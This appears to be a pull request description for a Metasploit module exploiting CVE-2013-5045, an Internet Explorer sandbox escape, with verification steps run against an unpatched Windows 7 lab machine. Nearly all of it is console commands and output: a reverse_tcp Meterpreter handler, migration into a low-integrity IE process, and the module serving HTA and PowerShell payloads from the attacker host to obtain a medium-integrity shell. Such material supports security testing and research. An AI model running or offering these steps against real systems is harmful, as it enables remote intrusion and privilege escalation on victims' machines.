Add module for CVE-2013-5045

Requirements
---------

https://github.com/rapid7/meterpreter/pull/84
https://github.com/rapid7/metasploit-framework/pull/3402

Verification
----------

Easy verification steps:

- [x] Install Windows 7 / IE8 (no patches)
- [x] Run the handler to get a meterpreter session in the target machine

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 172.16.158.143
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.143:49847) at 2014-05-29 11:08:36 -0500

```

- [x] migrate the session to **Low Integrity** IE process

```
meterpreter > migrate 3588
[*] Migrating from 568 to 3588...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...

```

- [x] Use the msf module to escape the sandbox and get a Medium Integrity session

```
msf exploit(handler) > use exploit/windows/local/ms13_097_ie_registry_symlink
msf exploit(ms13_097_ie_registry_symlink) > set session 1
session => 1
msf exploit(ms13_097_ie_registry_symlink) > set srvhost 172.16.158.1
srvhost => 172.16.158.1
msf exploit(ms13_097_ie_registry_symlink) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms13_097_ie_registry_symlink) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(ms13_097_ie_registry_symlink) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Running module against WIN-RNJ7NBRK9L7
[*] Using URL: http://172.16.158.1:8080/EgczbxcpC5l
[*] Server started.
[*] Loading Exploit Library...
[*] 172.16.158.143   ms13_097_ie_registry_symlink - Sending window close html...
[*] 172.16.158.143   ms13_097_ie_registry_symlink - Sending window close html...
[*] 172.16.158.143   ms13_097_ie_registry_symlink - Sending hta...
[*] 172.16.158.143   ms13_097_ie_registry_symlink - Sending psh payload...
[*] Sending stage (770048 bytes) to 172.16.158.143
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.143:49852) at 2014-05-29 11:09:39 -0500
[*] Server stopped.

```

- [x] Verify Medium Integrity in the new session

```
meterpreter > pwd
C:\Users\Juan Vazquez\Desktop
meterpreter > mkdir msf_pwned
Creating directory: msf_pwned
meterpreter > ls msf_pwned

Listing: msf_pwned
==================

Mode             Size  Type  Last modified              Name
----             ----  ----  -------------              ----
40777/rwxrwxrwx  0     dir   2014-05-29 11:09:55 -0500  .
40555/r-xr-xr-x  0     dir   2014-05-29 11:09:55 -0500  ..

meterpreter > exit

```